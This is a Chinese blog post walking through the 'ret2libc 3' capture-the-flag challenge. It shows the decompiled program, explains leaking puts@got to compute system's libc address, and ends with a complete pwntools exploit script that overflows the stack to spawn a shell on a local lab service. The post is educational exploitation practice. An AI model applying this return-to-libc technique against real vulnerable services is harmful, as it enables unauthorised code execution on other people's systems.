ret2libc 3
ret2libc 3
漏洞点
src
开辟了256
字节空间,dest
开辟了56
个地址
strcpy
将src
中的字符串拷贝到dest
中
src
可控
反汇编
int __cdecl main(int argc, const char **argv, const char **envp)
{
char **v4; // [esp+4h] [ebp-11Ch]
int v5; // [esp+8h] [ebp-118h]
char src[256]; // [esp+12h] [ebp-10Eh] BYREF
char buf[10]; // [esp+112h] [ebp-Eh] BYREF
int v8; // [esp+11Ch] [ebp-4h]
puts("###############################");
puts("Do you know return to library ?");
puts("###############################");
puts("What do you want to see in memory?");
printf("Give me an address (in dec) :");
fflush(stdout);
read(0, buf, 0xAu);
v8 = strtol(buf, v4, v5);
See_something(v8);
printf("Leave some message for me :");
fflush(stdout);
read(0, src, 0x100u);
Print_message(src);
puts("Thanks you ~");
return 0;
}
local val:
plt是代码的填写者,got是代码的保存者
程序并没有system
的plt
表
程序也并没有system
的got
表
但是因为puts
函数已经被调用过了一次,所以可以直接通过GOT
表查到puts@got
的地址
这里可以使用下面的方式算出system
的地址
已有libc
文件,可以算出在libc
中的puts
和system
中间的距离,已知puts
的虚拟内存地址,system
的地址可通过加上静态分析的道德中间距离算出
示例图:
分析后可以发现画反了
sysem
应该在低地址,puts
应该在高地址
综上,正确的图应该是
可以计算出puts
的地址应该在0xf7da4950
随便输入数据,然后一直步过
直到执行了strcpy
此时已经发生了栈溢出了
计算栈溢出长度
exp
from pwn import *
context.log_level = 'debug'
p = remote('127.0.0.1',10000)
elf = ELF('./ret2libc3')
libc = ELF('./libc-2.23.so')
p.sendlineafter(b" :",str(elf.got['puts']))
p.recvuntil(b" :")
puts_dny_addr = int(p.recvuntil(b"\n",drop = True),16)
libc_juli = libc.symbols['puts'] - libc.symbols['system']
sys_dny_addr = puts_dny_addr - libc_juli
payload = b'A'*60 + p32(sys_dny_addr) + p32(0xdeadbeef) + p32(next(elf.search(b"sh\x00")))
p.sendlineafter(b" :",payload)
p.interactive()
A lion doesn't concern himself with the opinions of a sheep.
【推荐】国内首个AI IDE,深度理解中文开发场景,立即下载体验Trae
【推荐】编程新体验,更懂你的AI,立即体验豆包MarsCode编程助手
【推荐】抖音旗下AI助手豆包,你的智能百科全书,全免费不限次数
【推荐】轻量又高性能的 SSH 工具 IShell:AI 加持,快人一步
· 无需6万激活码!GitHub神秘组织3小时极速复刻Manus,手把手教你使用OpenManus搭建本
· C#/.NET/.NET Core优秀项目和框架2025年2月简报
· Manus爆火,是硬核还是营销?
· 终于写完轮子一部分:tcp代理 了,记录一下
· 【杭电多校比赛记录】2025“钉耙编程”中国大学生算法设计春季联赛(1)